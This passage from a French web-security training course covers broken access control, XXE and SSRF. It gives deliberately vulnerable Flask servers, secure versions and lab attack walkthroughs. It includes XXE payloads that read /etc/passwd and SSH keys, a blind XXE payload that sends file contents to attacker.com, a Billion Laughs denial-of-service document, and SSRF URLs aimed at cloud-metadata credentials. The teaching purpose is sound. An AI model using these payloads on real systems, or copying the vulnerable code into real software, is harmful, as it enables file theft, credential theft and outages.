  justify-content: space-between;
  padding-top: 1rem;
  border-top: 1px solid #ddd;
  font-size: 0.9rem;
}

.owner {
  color: #666;
}

.privacy {
  font-weight: bold;
}

.warning {
  background: #fff3cd;
  border: 1px solid #ffc107;
  border-radius: 6px;
  padding: 0.8rem;
  margin-top: 1rem;
  color: #856404;
  font-weight: bold;
  text-align: center;
}

/* === ADMIN VIEW === */
.navigation {
  display: flex;
  gap: 1rem;
  margin-bottom: 2rem;
}

.navigation button {
  flex: 1;
  background: white;
  color: #667eea;
  border: 2px solid #667eea;
  padding: 1rem;
  border-radius: 12px;
  cursor: pointer;
  font-size: 1.1rem;
  font-weight: bold;
  transition: all 0.3s;
}

.navigation button:hover {
  background: #667eea;
  color: white;
}

.navigation button.active {
  background: #667eea;
  color: white;
}

.users-section {
  background: white;
  padding: 2rem;
  border-radius: 16px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.users-section h2 {
  color: #667eea;
  margin-bottom: 1.5rem;
}

.warning-box {
  background: #ffebee;
  border-left: 4px solid #f44336;
  padding: 1rem;
  margin-bottom: 2rem;
  border-radius: 6px;
  color: #c62828;
  font-weight: bold;
}

.users-table {
  width: 100%;
  border-collapse: collapse;
}

.users-table thead {
  background: #667eea;
  color: white;
}

.users-table th,
.users-table td {
  padding: 1rem;
  text-align: left;
  border-bottom: 1px solid #ddd;
}

.users-table tbody tr:hover {
  background: #f5f5f5;
}

/* === RESPONSIVE === */
@media (max-width: 768px) {
  .documents-grid {
    grid-template-columns: 1fr;
  }
  
  .navigation {
    flex-direction: column;
  }
}
```

---

### PARTIE D : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
# Terminal 1 : Backend
python document_platform_vulnerable.py

# Terminal 2 : Frontend
cd document-platform
npm start
```

**2. Test des attaques :**

**Attaque 1 : IDOR - Énumération**
- Se connecter en tant que `alice` (user)
- Observer que vous voyez TOUS les documents (y compris ceux des autres)
- Document ID 4 et 5 (Salaires, SSN) appartiennent à admin !

**Attaque 2 : IDOR - Accès direct**
- Activer le "Mode Attaque"
- Dans "Attaque 2", entrer l'ID `5` (document SSN)
- Cliquer sur "Lancer l'attaque"
- **Résultat :** Vous voyez les SSN de tout le monde !

**Attaque 3 : Vertical Privilege Escalation**
- Connecté en tant que `alice` (simple user)
- Cliquer sur "Attaque 3"
- **Résultat :** Alice est promue admin !
- Se déconnecter et reconnecter -> Alice a maintenant le rôle admin

**Attaque 4 : Horizontal Privilege Escalation**
- Entrer l'ID `2` (Bob)
- Cliquer sur "Attaque 4"
- **Résultat :** Vous voyez les infos de Bob (département, etc.)

**Attaque 5 : Fonction admin sans autorisation**
- Connecté en tant que `alice` (user simple)
- Cliquer sur "Attaque 5"
- **Résultat :** Accès à la liste complète des utilisateurs (fonction admin) !

---

### PARTIE E : VERSION SÉCURISÉE

```python
# document_platform_secure.py
from flask import Flask, request, jsonify, session
from flask_cors import CORS
import sqlite3
import os
from functools import wraps
import uuid

app = Flask(__name__)
app.secret_key = os.urandom(32)  # [OK] Clé aléatoire
CORS(app, 
     origins=['http://localhost:3000'],
     supports_credentials=True)

def init_db():
    """Initialise la base de données avec UUID"""
    if os.path.exists('documents_secure.db'):
        os.remove('documents_secure.db')
    
    conn = sqlite3.connect('documents_secure.db')
    cursor = conn.cursor()
    
    # Table utilisateurs avec UUID
    cursor.execute('''
        CREATE TABLE users (
            id TEXT PRIMARY KEY,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            role TEXT DEFAULT 'user',
            department TEXT
        )
    ''')
    
    # Table documents avec UUID
    cursor.execute('''
        CREATE TABLE documents (
            id TEXT PRIMARY KEY,
            title TEXT NOT NULL,
            content TEXT NOT NULL,
            owner_id TEXT NOT NULL,
            is_private BOOLEAN DEFAULT 1,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (owner_id) REFERENCES users(id)
        )
    ''')
    
    # [OK] Utiliser des UUID au lieu d'IDs séquentiels
    user_ids = {
        'alice': str(uuid.uuid4()),
        'bob': str(uuid.uuid4()),
        'charlie': str(uuid.uuid4()),
        'admin': str(uuid.uuid4())
    }
    
    users = [
        (user_ids['alice'], 'alice', 'alice123', 'user', 'Engineering'),
        (user_ids['bob'], 'bob', 'bob123', 'user', 'Marketing'),
        (user_ids['charlie'], 'charlie', 'charlie123', 'manager', 'Engineering'),
        (user_ids['admin'], 'admin', 'admin123', 'admin', 'IT')
    ]
    cursor.executemany(
        "INSERT INTO users (id, username, password, role, department) VALUES (?, ?, ?, ?, ?)",
        users
    )
    
    documents = [
        (str(uuid.uuid4()), 'Budget 2024', 'Confidentiel', user_ids['alice'], 1),
        (str(uuid.uuid4()), 'Stratégie Marketing', 'Plan Q1-Q4', user_ids['bob'], 1),
        (str(uuid.uuid4()), 'Code Source API', 'API_KEY=...', user_ids['alice'], 1),
        (str(uuid.uuid4()), 'Salaires Employés', 'Confidentiel', user_ids['admin'], 1),
        (str(uuid.uuid4()), 'Numéros SSN', 'Confidentiel', user_ids['admin'], 1)
    ]
    cursor.executemany(
        "INSERT INTO documents (id, title, content, owner_id, is_private) VALUES (?, ?, ?, ?, ?)",
        documents
    )
    
    conn.commit()
    conn.close()
    print("[OK] Base de données sécurisée initialisée (avec UUID)")

# [OK] Décorateurs d'autorisation
def require_auth(f):
    """Vérifie l'authentification"""
    @wraps(f)
    def decorated(*args, **kwargs):
        if 'user_id' not in session:
            return jsonify({"error": "Non authentifié"}), 401
        return f(*args, **kwargs)
    return decorated

def require_role(allowed_roles):
    """Vérifie le rôle de l'utilisateur"""
    def decorator(f):
        @wraps(f)
        @require_auth
        def decorated(*args, **kwargs):
            user_role = session.get('role')
            
            if user_role not in allowed_roles:
                return jsonify({"error": "Permission insuffisante"}), 403
            
            return f(*args, **kwargs)
        return decorated
    return decorator

def check_document_ownership(doc_id):
    """Vérifie que l'utilisateur possède le document"""
    user_id = session.get('user_id')
    user_role = session.get('role')
    
    # Admin peut tout voir
    if user_role == 'admin':
        return True
    
    conn = sqlite3.connect('documents_secure.db')
    cursor = conn.cursor()
    
    cursor.execute(
        "SELECT owner_id FROM documents WHERE id = ?",
        (doc_id,)
    )
    
    result = cursor.fetchone()
    conn.close()
    
    if not result:
        return False
    
    return result[0] == user_id

# Route : Login (identique)
@app.route('/api/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')
    
    conn = sqlite3.connect('documents_secure.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute(
        "SELECT * FROM users WHERE username = ? AND password = ?",
        (username, password)
    )
    
    user = cursor.fetchone()
    conn.close()
    
    if user:
        session['user_id'] = user['id']
        session['username'] = user['username']
        session['role'] = user['role']
        
        return jsonify({
            "success": True,
            "user": {
                "id": user['id'],
                "username": user['username'],
                "role": user['role'],
                "department": user['department']
            }
        })
    
    return jsonify({"error": "Identifiants invalides"}), 401

# [OK] ROUTE SÉCURISÉE : Voir un document
@app.route('/api/documents/<doc_id>')
@require_auth
def get_document(doc_id):
    """
    [OK] Vérifie la propriété du document
    """
    # [OK] Vérifier l'autorisation
    if not check_document_ownership(doc_id):
        return jsonify({"error": "Accès interdit"}), 403
    
    conn = sqlite3.connect('documents_secure.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute("SELECT * FROM documents WHERE id = ?", (doc_id,))
    doc = cursor.fetchone()
    conn.close()
    
    if doc:
        return jsonify(dict(doc))
    
    return jsonify({"error": "Document non trouvé"}), 404

# [OK] ROUTE SÉCURISÉE : Modifier un document
@app.route('/api/documents/<doc_id>', methods=['PUT'])
@require_auth
def update_document(doc_id):
    """
    [OK] Seul le propriétaire ou admin peut modifier
    """
    # [OK] Vérification de propriété
    if not check_document_ownership(doc_id):
        return jsonify({"error": "Accès interdit"}), 403
    
    data = request.json
    
    conn = sqlite3.connect('documents_secure.db')
    cursor = conn.cursor()
    
    cursor.execute(
        "UPDATE documents SET title = ?, content = ? WHERE id = ?",
        (data.get('title'), data.get('content'), doc_id)
    )
    
    conn.commit()
    conn.close()
    
    return jsonify({"success": True})

# [OK] ROUTE SÉCURISÉE : Supprimer un document
@app.route('/api/documents/<doc_id>', methods=['DELETE'])
@require_auth
def delete_document(doc_id):
    """
    [OK] Seul le propriétaire ou admin peut supprimer
    """
    if not check_document_ownership(doc_id):
        return jsonify({"error": "Accès interdit"}), 403
    
    conn = sqlite3.connect('documents_secure.db')
    cursor = conn.cursor()
    
    cursor.execute("DELETE FROM documents WHERE id = ?", (doc_id,))
    
    conn.commit()
    conn.close()
    
    return jsonify({"success": True})

# [OK] ROUTE SÉCURISÉE : Promouvoir un utilisateur (ADMIN ONLY)
@app.route('/api/users/<user_id>/promote', methods=['POST'])
@require_role(['admin'])
def promote_user(user_id):
    """
    [OK] Seulement les admins peuvent promouvoir
    """
    conn = sqlite3.connect('documents_secure.db')
    cursor = conn.cursor()
    
    cursor.execute("UPDATE users SET role = 'admin' WHERE id = ?", (user_id,))
    
    conn.commit()
    conn.close()
    
    return jsonify({"success": True, "message": "Utilisateur promu"})

# [OK] ROUTE SÉCURISÉE : Profil utilisateur
@app.route('/api/users/<user_id>')
@require_auth
def get_user_profile(user_id):
    """
    [OK] Seulement son propre profil ou admin
    """
    current_user_id = session.get('user_id')
    current_user_role = session.get('role')
    
    # [OK] Vérification d'autorisation
    if user_id != current_user_id and current_user_role != 'admin':
        return jsonify({"error": "Accès interdit"}), 403
    
    conn = sqlite3.connect('documents_secure.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
    user = cursor.fetchone()
    conn.close()
    
    if user:
        return jsonify({
            "id": user['id'],
            "username": user['username'],
            "role": user['role'],
            "department": user['department']
        })
    
    return jsonify({"error": "Utilisateur non trouvé"}), 404

# [OK] ROUTE SÉCURISÉE : Liste des documents
@app.route('/api/documents')
@require_auth
def list_documents():
    """
    [OK] Retourne seulement les documents de l'utilisateur
    (ou tous si admin)
    """
    user_id = session.get('user_id')
    user_role = session.get('role')
    
    conn = sqlite3.connect('documents_secure.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    if user_role == 'admin':
        # Admin voit tout
        cursor.execute("SELECT * FROM documents ORDER BY created_at DESC")
    else:
        # [OK] Utilisateur voit seulement SES documents
        cursor.execute(
            "SELECT * FROM documents WHERE owner_id = ? ORDER BY created_at DESC",
            (user_id,)
        )
    
    docs = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(docs)

# [OK] ROUTE SÉCURISÉE : Liste des utilisateurs (ADMIN ONLY)
@app.route('/api/admin/users')
@require_role(['admin'])
def list_all_users():
    """
    [OK] Seulement les admins peuvent voir la liste
    """
    conn = sqlite3.connect('documents_secure.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute("SELECT * FROM users")
    users = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(users)

# Route : Logout
@app.route('/api/logout', methods=['POST'])
def logout():
    session.clear()
    return jsonify({"success": True})

if __name__ == '__main__':
    init_db()
    print("[SECURITE]  Plateforme de documents SÉCURISÉE sur http://localhost:5001")
    print("[OK] Protections : UUID, vérification propriété, contrôles rôles")
    app.run(debug=False, port=5001)
```

---

## [GRAPHIQUE] RÉCAPITULATIF BROKEN ACCESS CONTROL

### [OK] Protections essentielles

| Protection | Efficacité | Implémentation |
|-----------|-----------|----------------|
| Authentification | ***** | Décorateur @require_auth |
| Vérification rôle | ***** | Décorateur @require_role |
| Vérification propriété | ***** | check_document_ownership() |
| UUID au lieu IDs séquentiels | **** | uuid.uuid4() |
| Principe moindre privilège | ***** | Rôles granulaires |

---

### [X] Erreurs critiques

- [X] Pas de vérification d'autorisation sur routes sensibles
- [X] Utiliser l'ID de la requête au lieu de la session
- [X] IDs séquentiels prévisibles (1, 2, 3...)
- [X] Pas de vérification de propriété des ressources
- [X] Fonctions admin sans contrôle de rôle

---

*(Voulez-vous que je continue avec les autres failles OWASP restantes : XXE, SSRF, Components with Known Vulnerabilities, Logging & Monitoring ?)*

# 8. XXE (XML EXTERNAL ENTITY)

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que XXE ?

**Définition :**
Vulnérabilité qui permet à un attaquant d'**injecter des entités XML externes** dans un document XML pour :
- Lire des fichiers locaux
- Effectuer des requêtes SSRF
- Provoquer un déni de service

**Analogie simple :**

Imagine un formulaire qui dit "Collez votre CV ici". Tu peux coller ton CV, mais tu peux aussi écrire "Allez chercher le fichier /etc/passwd et affichez-le ici". Si le système est vulnérable, il obéit !

---

### Comment fonctionne XXE ?

**XML normal :**

```xml
<?xml version="1.0"?>
<user>
    <name>Alice</name>
    <email>alice@example.com</email>
</user>
```

**XML avec entité externe (XXE) :**

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
    <name>&xxe;</name>
    <email>alice@example.com</email>
</user>
```

**Résultat :** Le parser XML remplace `&xxe;` par le **contenu du fichier /etc/passwd** !

---

### Types d'attaques XXE

#### 1. **File Disclosure (Lecture de fichiers)**

```xml
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>
  <content>&file;</content>
</data>
```

**Fichiers ciblés :**
- Linux : `/etc/passwd`, `/etc/shadow`, `~/.ssh/id_rsa`, `/var/log/apache2/access.log`
- Windows : `C:\Windows\System32\config\SAM`, `C:\inetpub\wwwroot\web.config`
- Application : `config.php`, `.env`, `database.yml`

---

#### 2. **SSRF via XXE**

```xml
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY ssrf SYSTEM "http://internal-server:8080/admin">
]>
<data>
  <content>&ssrf;</content>
</data>
```

**Impact :** Accès à des ressources internes non accessibles depuis Internet.

---

#### 3. **Déni de Service (Billion Laughs Attack)**

```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</data>
```

**Impact :** Expansion exponentielle -> 3GB de données en mémoire -> Serveur crashé !

---

#### 4. **Blind XXE (Out-of-Band)**

Quand le résultat n'est pas visible directement.

```xml
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>
```

**evil.dtd (sur le serveur attaquant) :**

```xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
```

**Résultat :** Le contenu de `/etc/passwd` est envoyé vers `http://attacker.com/?data=...`

---

### Impact de XXE

| Attack Type | Impact | Example |
|-------------|--------|---------|
| **File Disclosure** | CRITIQUE | Vol de secrets, clés SSH, configs |
| **SSRF** | CRITIQUE | Accès réseau interne, cloud metadata |
| **DoS** | Élevé | Billion Laughs, crash serveur |
| **RCE** | CRITIQUE | Via PHP expect:// (rare) |

---

### Cas réels

**1. Facebook (2014)**
- **Faille :** XXE dans upload de documents Office
- **Impact :** Lecture de fichiers serveur

**2. PayPal (2015)**
- **Faille :** XXE dans API SOAP
- **Impact :** Accès aux fichiers internes

**3. Uber (2017)**
- **Faille :** XXE permettant SSRF vers AWS metadata
- **Impact :** Vol de credentials AWS

---

### Comment se protéger ?

#### [OK] **1. Désactiver les entités externes**

**Python (lxml) :**

```python
from lxml import etree

# [X] VULNÉRABLE
parser = etree.XMLParser()
tree = etree.parse(xml_file, parser)

# [OK] SÉCURISÉ
parser = etree.XMLParser(
    resolve_entities=False,  # [OK] Désactive les entités externes
    no_network=True,         # [OK] Désactive l'accès réseau
    dtd_validation=False     # [OK] Désactive la validation DTD
)
tree = etree.parse(xml_file, parser)
```

**Python (xml.etree.ElementTree) :**

```python
import xml.etree.ElementTree as ET
from defusedxml import ElementTree as DefusedET

# [X] VULNÉRABLE
tree = ET.parse(xml_file)

# [OK] SÉCURISÉ : Utiliser defusedxml
tree = DefusedET.parse(xml_file)
```

---

#### [OK] **2. Utiliser des bibliothèques sécurisées**

```bash
pip install defusedxml
```

```python
from defusedxml import ElementTree as ET

# [OK] Automatiquement sécurisé contre XXE
tree = ET.parse('user_input.xml')
root = tree.getroot()
```

**Librairies sécurisées :**

| Langage | Librairie vulnérable | Librairie sécurisée |
|---------|---------------------|---------------------|
| Python | xml.etree.ElementTree | defusedxml |
| Java | DocumentBuilder | Configurer feature FEATURE_SECURE_PROCESSING |
| PHP | simplexml_load_string | libxml_disable_entity_loader(true) |
| .NET | XmlDocument | XmlReaderSettings avec DtdProcessing.Prohibit |

---

#### [OK] **3. Valider et filtrer l'input**

```python
def is_safe_xml(xml_string):
    """Vérifie si le XML contient des patterns suspects"""
    
    # Patterns dangereux
    dangerous_patterns = [
        '<!ENTITY',
        '<!DOCTYPE',
        'SYSTEM',
        'PUBLIC',
        'file://',
        'http://',
        'expect://',
        'php://'
    ]
    
    for pattern in dangerous_patterns:
        if pattern in xml_string:
            return False
    
    return True

# Utilisation
if not is_safe_xml(user_xml):
    return "XML invalide", 400
```

---

#### [OK] **4. Utiliser JSON au lieu de XML**

```python
# [X] XML (potentiellement vulnérable à XXE)
xml_data = '''
<user>
    <name>Alice</name>
    <email>alice@example.com</email>
</user>
'''

# [OK] JSON (pas de risque XXE)
json_data = '''
{
    "name": "Alice",
    "email": "alice@example.com"
}
'''

import json
data = json.loads(json_data)
```

---

## [CODE] EXERCICE 10 : XXE VULNERABILITY

### Objectif

Créer une API de conversion de fichiers avec :
- Upload de documents XML
- Démonstration d'exploitation XXE
- Protection avec defusedxml

---

### PARTIE A : BACKEND VULNÉRABLE

```python
# file_converter_vulnerable.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import xml.etree.ElementTree as ET
import os

app = Flask(__name__)
CORS(app)

UPLOAD_FOLDER = '/tmp/uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

@app.route('/api/parse-xml', methods=['POST'])
def parse_xml_vulnerable():
    """
    [X] VULNÉRABLE : Parse XML sans protection XXE
    """
    try:
        # Récupérer le XML
        xml_content = request.data.decode('utf-8')
        
        print(f"[ENTREE] XML reçu :\n{xml_content}\n")
        
        # [X] VULNÉRABLE : Parse sans désactiver les entités externes
        root = ET.fromstring(xml_content)
        
        # Extraire les données
        result = {}
        for child in root:
            result[child.tag] = child.text
        
        print(f"[OK] Données extraites : {result}\n")
        
        return jsonify({
            "success": True,
            "data": result
        })
        
    except ET.ParseError as e:
        return jsonify({"error": f"Erreur XML : {str(e)}"}), 400
    except Exception as e:
        return jsonify({"error": str(e)}), 500

@app.route('/api/convert-xml-to-json', methods=['POST'])
def convert_xml_vulnerable():
    """
    [X] VULNÉRABLE : Conversion XML -> JSON
    """
    try:
        xml_content = request.data.decode('utf-8')
        
        # [X] Parse vulnérable
        root = ET.fromstring(xml_content)
        
        def xml_to_dict(element):
            """Convertit récursivement XML en dict"""
            result = {}
            
            # Attributs
            if element.attrib:
                result['@attributes'] = element.attrib
            
            # Texte
            if element.text and element.text.strip():
                if len(element) == 0:
                    return element.text
                result['#text'] = element.text.strip()
            
            # Enfants
            for child in element:
                child_data = xml_to_dict(child)
                
                if child.tag in result:
                    if not isinstance(result[child.tag], list):
                        result[child.tag] = [result[child.tag]]
                    result[child.tag].append(child_data)
                else:
                    result[child.tag] = child_data
            
            return result
        
        json_data = {root.tag: xml_to_dict(root)}
        
        return jsonify({
            "success": True,
            "json": json_data
        })
        
    except Exception as e:
        return jsonify({"error": str(e)}), 500

@app.route('/api/health')
def health():
    """Health check endpoint"""
    return jsonify({"status": "running"})

if __name__ == '__main__':
    print("[RAPIDE] File Converter API (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Vulnérable à XXE !")
    print("\n[NOTE] Endpoints :")
    print("  POST /api/parse-xml")
    print("  POST /api/convert-xml-to-json")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : PAYLOADS XXE

```python
# xxe_payloads.py

# Payload 1 : Lecture de /etc/passwd
PAYLOAD_1_PASSWD = '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <name>&xxe;</name>
  <description>Lecture de /etc/passwd</description>
</data>
'''

# Payload 2 : Lecture de fichiers application
PAYLOAD_2_ENV = '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///proc/self/environ">
]>
<data>
  <name>Test</name>
  <secret>&xxe;</secret>
</data>
'''

# Payload 3 : SSRF vers localhost
PAYLOAD_3_SSRF = '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "http://localhost:5000/api/health">
]>
<data>
  <name>SSRF Test</name>
  <response>&xxe;</response>
</data>
'''

# Payload 4 : Billion Laughs (DoS)
PAYLOAD_4_DOS = '''<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<data>&lol4;</data>
'''

# Payload 5 : Lecture de clés SSH
PAYLOAD_5_SSH = '''<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa">
]>
<data>
  <key>&xxe;</key>
</data>
'''

payloads = [
    ("Lecture /etc/passwd", PAYLOAD_1_PASSWD),
    ("Lecture variables d'environnement", PAYLOAD_2_ENV),
    ("SSRF vers localhost", PAYLOAD_3_SSRF),
    ("DoS (Billion Laughs)", PAYLOAD_4_DOS),
    ("Lecture clé SSH", PAYLOAD_5_SSH)
]

print("=" * 80)
print("PAYLOADS XXE")
print("=" * 80)

for i, (name, payload) in enumerate(payloads, 1):
    print(f"\n{i}. {name}")
    print("-" * 80)
    print(payload)
    print("-" * 80)

print("\n[NOTE] Testez avec curl :")
print("curl -X POST http://localhost:5000/api/parse-xml \\")
print("  -H 'Content-Type: application/xml' \\")
print("  -d '<PAYLOAD_ICI>'")
```

---

### PARTIE C : TESTER LES ATTAQUES

**1. Lancer le serveur vulnérable :**

```bash
python file_converter_vulnerable.py
```

**2. Afficher les payloads :**

```bash
python xxe_payloads.py
```

**3. Test Payload 1 (Lecture /etc/passwd) :**

```bash
curl -X POST http://localhost:5000/api/parse-xml \
  -H 'Content-Type: application/xml' \
  -d '<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <name>&xxe;</name>
  <description>Test</description>
</data>'
```

**Résultat attendu :**

```json
{
  "success": true,
  "data": {
    "name": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...",
    "description": "Test"
  }
}
```

**[OK] Le contenu de /etc/passwd est révélé !**

---

**4. Test Payload 3 (SSRF) :**

```bash
curl -X POST http://localhost:5000/api/parse-xml \
  -H 'Content-Type: application/xml' \
  -d '<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "http://localhost:5000/api/health">
]>
<data>
  <response>&xxe;</response>
</data>'
```

**Résultat :**

```json
{
  "success": true,
  "data": {
    "response": "{\"status\":\"running\"}"
  }
}
```

**[OK] SSRF réussi ! L'API peut faire des requêtes internes.**

---

### PARTIE D : VERSION SÉCURISÉE

```python
# file_converter_secure.py
from flask import Flask, request, jsonify
from flask_cors import CORS
from defusedxml import ElementTree as ET
import json

app = Flask(__name__)
CORS(app)

@app.route('/api/parse-xml', methods=['POST'])
def parse_xml_secure():
    """
    [OK] SÉCURISÉ : Parse XML avec defusedxml
    """
    try:
        xml_content = request.data.decode('utf-8')
        
        # [OK] SÉCURISÉ : defusedxml bloque automatiquement XXE
        root = ET.fromstring(xml_content)
        
        result = {}
        for child in root:
            result[child.tag] = child.text
        
        return jsonify({
            "success": True,
            "data": result
        })
        
    except ET.ParseError as e:
        return jsonify({"error": f"Erreur XML : {str(e)}"}), 400
    except Exception as e:
        # defusedxml lève des exceptions spécifiques pour XXE
        if 'DTDForbidden' in str(type(e).__name__) or 'EntityForbidden' in str(type(e).__name__):
            return jsonify({"error": "XML contient des entités externes interdites (protection XXE)"}), 400
        return jsonify({"error": str(e)}), 500

@app.route('/api/convert-xml-to-json', methods=['POST'])
def convert_xml_secure():
    """
    [OK] SÉCURISÉ : Conversion avec validation
    """
    try:
        xml_content = request.data.decode('utf-8')
        
        # [OK] Validation préalable
        if '<!ENTITY' in xml_content or '<!DOCTYPE' in xml_content:
            return jsonify({"error": "Entités XML non autorisées"}), 400
        
        # [OK] Parse sécurisé
        root = ET.fromstring(xml_content)
        
        def xml_to_dict(element):
            result = {}
            
            if element.attrib:
                result['@attributes'] = element.attrib
            
            if element.text and element.text.strip():
                if len(element) == 0:
                    return element.text
                result['#text'] = element.text.strip()
            
            for child in element:
                child_data = xml_to_dict(child)
                
                if child.tag in result:
                    if not isinstance(result[child.tag], list):
                        result[child.tag] = [result[child.tag]]
                    result[child.tag].append(child_data)
                else:
                    result[child.tag] = child_data
            
            return result
        
        json_data = {root.tag: xml_to_dict(root)}
        
        return jsonify({
            "success": True,
            "json": json_data
        })
        
    except Exception as e:
        return jsonify({"error": str(e)}), 500

if __name__ == '__main__':
    print("[SECURITE]  File Converter API SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protection : defusedxml + validation")
    app.run(debug=False, port=5001)
```

**Installer defusedxml :**

```bash
pip install defusedxml
```

**Tester la protection :**

```bash
# Lancer le serveur sécurisé
python file_converter_secure.py

# Tester le même payload XXE
curl -X POST http://localhost:5001/api/parse-xml \
  -H 'Content-Type: application/xml' \
  -d '<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <name>&xxe;</name>
</data>'
```

**Résultat :**

```json
{
  "error": "XML contient des entités externes interdites (protection XXE)"
}
```

**[OK] L'attaque XXE est bloquée !**

---

## [GRAPHIQUE] RÉCAPITULATIF XXE

### [OK] Protections essentielles

| Protection | Efficacité | Facilité |
|-----------|-----------|----------|
| defusedxml | ***** | [OK] Facile |
| Désactiver entités externes | ***** | [OK] Facile |
| Validation input | **** | [OK] Facile |
| Utiliser JSON au lieu XML | ***** | [OK] Facile |

---

### [X] Erreurs communes

- [X] Parser XML sans désactiver les entités externes
- [X] Utiliser xml.etree.ElementTree sur input utilisateur
- [X] Ne pas valider le XML avant parsing
- [X] Exposer les erreurs de parsing à l'utilisateur

---

# 9. SSRF (SERVER-SIDE REQUEST FORGERY)

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que SSRF ?

**Définition :**
Vulnérabilité permettant à un attaquant de **forcer le serveur** à effectuer des requêtes HTTP vers des destinations arbitraires (internes ou externes).

**Analogie simple :**

Imagine que tu demandes à un ami "Va chercher le document dans le bureau 101". Mais au lieu de bureau 101, tu lui donnes l'adresse du coffre-fort de la banque. Ton ami, obéissant, y va et te rapporte ce qu'il trouve !

Le serveur = ton ami obéissant
L'attaquant = toi qui donnes de mauvaises instructions

---

### Comment fonctionne SSRF ?

**Code vulnérable :**

```python
from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch-url')
def fetch_url():
    """
    [X] VULNÉRABLE : Fait une requête vers l'URL fournie par l'utilisateur
    """
    url = request.args.get('url')
    
    # [X] Aucune validation !
    response = requests.get(url)
    
    return response.text
```

**Utilisation normale :**

```
GET /fetch-url?url=https://example.com
-> Le serveur fetch example.com et retourne le contenu
```

**Exploitation SSRF :**

```
GET /fetch-url?url=http://localhost:8080/admin
-> Le serveur accède à son propre port 8080 (normalement inaccessible depuis Internet)

GET /fetch-url?url=http://169.254.169.254/latest/meta-data/
-> Accès aux métadonnées AWS (credentials, secrets)

GET /fetch-url?url=http://internal-database:5432/
-> Scan du réseau interne
```

---

### Types d'attaques SSRF

#### 1. **Accès aux métadonnées cloud**

**AWS :**

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

**Résultat :**

```json
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalr...",
  "Token": "IQoJb3..."
}
```

**[OK] L'attaquant obtient les credentials AWS !**

**Google Cloud :**

```
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```

**Azure :**

```
http://169.254.169.254/metadata/instance?api-version=2021-02-01
```

---

#### 2. **Port scanning interne**

```python
# Scanner les ports internes
for port in range(1, 1000):
